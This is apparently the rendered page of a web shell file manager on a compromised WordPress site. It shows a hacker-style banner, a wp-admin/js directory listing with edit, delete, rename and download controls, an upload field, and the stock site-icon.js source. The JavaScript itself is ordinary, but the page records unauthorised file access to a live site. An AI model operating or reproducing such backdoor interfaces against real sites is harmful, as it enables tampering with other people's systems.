⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀
⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀
⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀
⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦   www.github.com/caterscam 
⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈
⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀
⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀
⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

Current Dir: /dom834884/wp-admin/js/

[DIR] widgets [ delete | rename ]
[FILE] accordion.js [ edit | delete | rename | download ]
[FILE] accordion.min.js [ edit | delete | rename | download ]
[FILE] application-passwords.js [ edit | delete | rename | download ]
[FILE] application-passwords.min.js [ edit | delete | rename | download ]
[FILE] auth-app.js [ edit | delete | rename | download ]
[FILE] auth-app.min.js [ edit | delete | rename | download ]
[FILE] code-editor.js [ edit | delete | rename | download ]
[FILE] code-editor.min.js [ edit | delete | rename | download ]
[FILE] color-picker.js [ edit | delete | rename | download ]
[FILE] color-picker.min.js [ edit | delete | rename | download ]
[FILE] comment.js [ edit | delete | rename | download ]
[FILE] comment.min.js [ edit | delete | rename | download ]
[FILE] common.js [ edit | delete | rename | download ]
[FILE] common.min.js [ edit | delete | rename | download ]
[FILE] custom-background.js [ edit | delete | rename | download ]
[FILE] custom-background.min.js [ edit | delete | rename | download ]
[FILE] custom-header.js [ edit | delete | rename | download ]
[FILE] customize-controls.js [ edit | delete | rename | download ]
[FILE] customize-controls.min.js [ edit | delete | rename | download ]
[FILE] customize-nav-menus.js [ edit | delete | rename | download ]
[FILE] customize-nav-menus.min.js [ edit | delete | rename | download ]
[FILE] customize-widgets.js [ edit | delete | rename | download ]
[FILE] customize-widgets.min.js [ edit | delete | rename | download ]
[FILE] dashboard.js [ edit | delete | rename | download ]
[FILE] dashboard.min.js [ edit | delete | rename | download ]
[FILE] edit-comments.js [ edit | delete | rename | download ]
[FILE] edit-comments.min.js [ edit | delete | rename | download ]
[FILE] editor-expand.js [ edit | delete | rename | download ]
[FILE] editor-expand.min.js [ edit | delete | rename | download ]
[FILE] editor.js [ edit | delete | rename | download ]
[FILE] editor.min.js [ edit | delete | rename | download ]
[FILE] farbtastic.js [ edit | delete | rename | download ]
[FILE] gallery.js [ edit | delete | rename | download ]
[FILE] gallery.min.js [ edit | delete | rename | download ]
[FILE] image-edit.js [ edit | delete | rename | download ]
[FILE] image-edit.min.js [ edit | delete | rename | download ]
[FILE] inline-edit-post.js [ edit | delete | rename | download ]
[FILE] inline-edit-post.min.js [ edit | delete | rename | download ]
[FILE] inline-edit-tax.js [ edit | delete | rename | download ]
[FILE] inline-edit-tax.min.js [ edit | delete | rename | download ]
[FILE] iris.min.js [ edit | delete | rename | download ]
[FILE] language-chooser.js [ edit | delete | rename | download ]
[FILE] language-chooser.min.js [ edit | delete | rename | download ]
[FILE] link.js [ edit | delete | rename | download ]
[FILE] link.min.js [ edit | delete | rename | download ]
[FILE] media-gallery.js [ edit | delete | rename | download ]
[FILE] media-gallery.min.js [ edit | delete | rename | download ]
[FILE] media-upload.js [ edit | delete | rename | download ]
[FILE] media-upload.min.js [ edit | delete | rename | download ]
[FILE] media.js [ edit | delete | rename | download ]
[FILE] media.min.js [ edit | delete | rename | download ]
[FILE] nav-menu.js [ edit | delete | rename | download ]
[FILE] nav-menu.min.js [ edit | delete | rename | download ]
[FILE] password-strength-meter.js [ edit | delete | rename | download ]
[FILE] password-strength-meter.min.js [ edit | delete | rename | download ]
[FILE] password-toggle.js [ edit | delete | rename | download ]
[FILE] password-toggle.min.js [ edit | delete | rename | download ]
[FILE] plugin-install.js [ edit | delete | rename | download ]
[FILE] plugin-install.min.js [ edit | delete | rename | download ]
[FILE] post.js [ edit | delete | rename | download ]
[FILE] post.min.js [ edit | delete | rename | download ]
[FILE] postbox.js [ edit | delete | rename | download ]
[FILE] postbox.min.js [ edit | delete | rename | download ]
[FILE] privacy-tools.js [ edit | delete | rename | download ]
[FILE] privacy-tools.min.js [ edit | delete | rename | download ]
[FILE] revisions.js [ edit | delete | rename | download ]
[FILE] revisions.min.js [ edit | delete | rename | download ]
[FILE] set-post-thumbnail.js [ edit | delete | rename | download ]
[FILE] set-post-thumbnail.min.js [ edit | delete | rename | download ]
[FILE] site-health.js [ edit | delete | rename | download ]
[FILE] site-health.min.js [ edit | delete | rename | download ]
[FILE] site-icon.js [ edit | delete | rename | download ]
[FILE] site-icon.min.js [ edit | delete | rename | download ]
[FILE] svg-painter.js [ edit | delete | rename | download ]
[FILE] svg-painter.min.js [ edit | delete | rename | download ]
[FILE] tags-box.js [ edit | delete | rename | download ]
[FILE] tags-box.min.js [ edit | delete | rename | download ]
[FILE] tags-suggest.js [ edit | delete | rename | download ]
[FILE] tags-suggest.min.js [ edit | delete | rename | download ]
[FILE] tags.js [ edit | delete | rename | download ]
[FILE] tags.min.js [ edit | delete | rename | download ]
[FILE] theme-plugin-editor.js [ edit | delete | rename | download ]
[FILE] theme-plugin-editor.min.js [ edit | delete | rename | download ]
[FILE] theme.js [ edit | delete | rename | download ]
[FILE] theme.min.js [ edit | delete | rename | download ]
[FILE] updates.js [ edit | delete | rename | download ]
[FILE] updates.min.js [ edit | delete | rename | download ]
[FILE] user-profile.js [ edit | delete | rename | download ]
[FILE] user-profile.min.js [ edit | delete | rename | download ]
[FILE] user-suggest.js [ edit | delete | rename | download ]
[FILE] user-suggest.min.js [ edit | delete | rename | download ]
[FILE] widgets.js [ edit | delete | rename | download ]
[FILE] widgets.min.js [ edit | delete | rename | download ]
[FILE] word-count.js [ edit | delete | rename | download ]
[FILE] word-count.min.js [ edit | delete | rename | download ]
[FILE] xfn.js [ edit | delete | rename | download ]
[FILE] xfn.min.js [ edit | delete | rename | download ]

Viewing: /dom834884/wp-admin/js/site-icon.js

/**
 * Handle the site icon setting in options-general.php.
 *
 * @since 6.5.0
 * @output wp-admin/js/site-icon.js
 */

/* global jQuery, wp */

( function ( $ ) {
	var $chooseButton = $( '#choose-from-library-button' ),
		$iconPreview = $( '#site-icon-preview' ),
		$browserIconPreview = $( '#browser-icon-preview' ),
		$appIconPreview = $( '#app-icon-preview' ),
		$hiddenDataField = $( '#site_icon_hidden_field' ),
		$removeButton = $( '#js-remove-site-icon' ),
		frame;

	/**
	 * Calculate image selection options based on the attachment dimensions.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object} attachment The attachment object representing the image.
	 * @return {Object} The image selection options.
	 */
	function calculateImageSelectOptions( attachment ) {
		var realWidth = attachment.get( 'width' ),
			realHeight = attachment.get( 'height' ),
			xInit = 512,
			yInit = 512,
			ratio = xInit / yInit,
			xImg = xInit,
			yImg = yInit,
			x1,
			y1,
			imgSelectOptions;

		if ( realWidth / realHeight > ratio ) {
			yInit = realHeight;
			xInit = yInit * ratio;
		} else {
			xInit = realWidth;
			yInit = xInit / ratio;
		}

		x1 = ( realWidth - xInit ) / 2;
		y1 = ( realHeight - yInit ) / 2;

		imgSelectOptions = {
			aspectRatio: xInit + ':' + yInit,
			handles: true,
			keys: true,
			instance: true,
			persistent: true,
			imageWidth: realWidth,
			imageHeight: realHeight,
			minWidth: xImg > xInit ? xInit : xImg,
			minHeight: yImg > yInit ? yInit : yImg,
			x1: x1,
			y1: y1,
			x2: xInit + x1,
			y2: yInit + y1,
		};

		return imgSelectOptions;
	}

	/**
	 * Initializes the media frame for selecting or cropping an image.
	 *
	 * @since 6.5.0
	 */
	$chooseButton.on( 'click', function () {
		var $el = $( this );

		// Create the media frame.
		frame = wp.media( {
			button: {
				// Set the text of the button.
				text: $el.data( 'update' ),

				// Don't close, we might need to crop.
				close: false,
			},
			states: [
				new wp.media.controller.Library( {
					title: $el.data( 'choose-text' ),
					library: wp.media.query( { type: 'image' } ),
					date: false,
					suggestedWidth: $el.data( 'size' ),
					suggestedHeight: $el.data( 'size' ),
				} ),
				new wp.media.controller.SiteIconCropper( {
					control: {
						params: {
							width: $el.data( 'size' ),
							height: $el.data( 'size' ),
						},
					},
					imgSelectOptions: calculateImageSelectOptions,
				} ),
			],
		} );

		frame.on( 'cropped', function ( attachment ) {
			$hiddenDataField.val( attachment.id );
			switchToUpdate( attachment );
			frame.close();

			// Start over with a frame that is so fresh and so clean clean.
			frame = null;
		} );

		// When an image is selected, run a callback.
		frame.on( 'select', function () {
			// Grab the selected attachment.
			var attachment = frame.state().get( 'selection' ).first();

			if (
				attachment.attributes.height === $el.data( 'size' ) &&
				$el.data( 'size' ) === attachment.attributes.width
			) {
				switchToUpdate( attachment.attributes );
				frame.close();

				// Set the value of the hidden input to the attachment id.
				$hiddenDataField.val( attachment.id );
			} else {
				frame.setState( 'cropper' );
			}
		} );

		frame.open();
	} );

	/**
	 * Update the UI when a site icon is selected.
	 *
	 * @since 6.5.0
	 *
	 * @param {array} attributes The attributes for the attachment.
	 */
	function switchToUpdate( attributes ) {
		var i18nAppAlternativeString, i18nBrowserAlternativeString;

		if ( attributes.alt ) {
			i18nAppAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image alt text. */
				wp.i18n.__( 'App icon preview: Current image: %s' ),
				attributes.alt
			);
			i18nBrowserAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image alt text. */
				wp.i18n.__( 'Browser icon preview: Current image: %s' ),
				attributes.alt
			);
		} else {
			i18nAppAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image filename. */
				wp.i18n.__(
					'App icon preview: The current image has no alternative text. The file name is: %s'
				),
				attributes.filename
			);
			i18nBrowserAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image filename. */
				wp.i18n.__(
					'Browser icon preview: The current image has no alternative text. The file name is: %s'
				),
				attributes.filename
			);
		}

		// Set site-icon-img src and alternative text to app icon preview.
		$appIconPreview.attr( {
			src: attributes.url,
			alt: i18nAppAlternativeString,
		} );

		// Set site-icon-img src and alternative text to browser preview.
		$browserIconPreview.attr( {
			src: attributes.url,
			alt: i18nBrowserAlternativeString,
		} );

		// Remove hidden class from icon preview div and remove button.
		$iconPreview.removeClass( 'hidden' );
		$removeButton.removeClass( 'hidden' );

		// Set the global CSS variable for --site-icon-url to the selected image URL.
		document.documentElement.style.setProperty(
			'--site-icon-url',
			'url(' + attributes.url + ')'
		);

		// If the choose button is not in the update state, swap the classes.
		if ( $chooseButton.attr( 'data-state' ) !== '1' ) {
			$chooseButton.attr( {
				class: $chooseButton.attr( 'data-alt-classes' ),
				'data-alt-classes': $chooseButton.attr( 'class' ),
				'data-state': '1',
			} );
		}

		// Swap the text of the choose button.
		$chooseButton.text( $chooseButton.attr( 'data-update-text' ) );
	}

	/**
	 * Handles the click event of the remove button.
	 *
	 * @since 6.5.0
	 */
	$removeButton.on( 'click', function () {
		$hiddenDataField.val( 'false' );
		$( this ).toggleClass( 'hidden' );
		$iconPreview.toggleClass( 'hidden' );
		$browserIconPreview.attr( {
			src: '',
			alt: '',
		} );
		$appIconPreview.attr( {
			src: '',
			alt: '',
		} );

		/**
		 * Resets state to the button, for correct visual style and state.
		 * Updates the text of the button.
		 * Sets focus state to the button.
		 */
		$chooseButton
			.attr( {
				class: $chooseButton.attr( 'data-alt-classes' ),
				'data-alt-classes': $chooseButton.attr( 'class' ),
				'data-state': '',
			} )
			.text( $chooseButton.attr( 'data-choose-text' ) )
			.trigger( 'focus' );
	} );
} )( jQuery );

Upload File: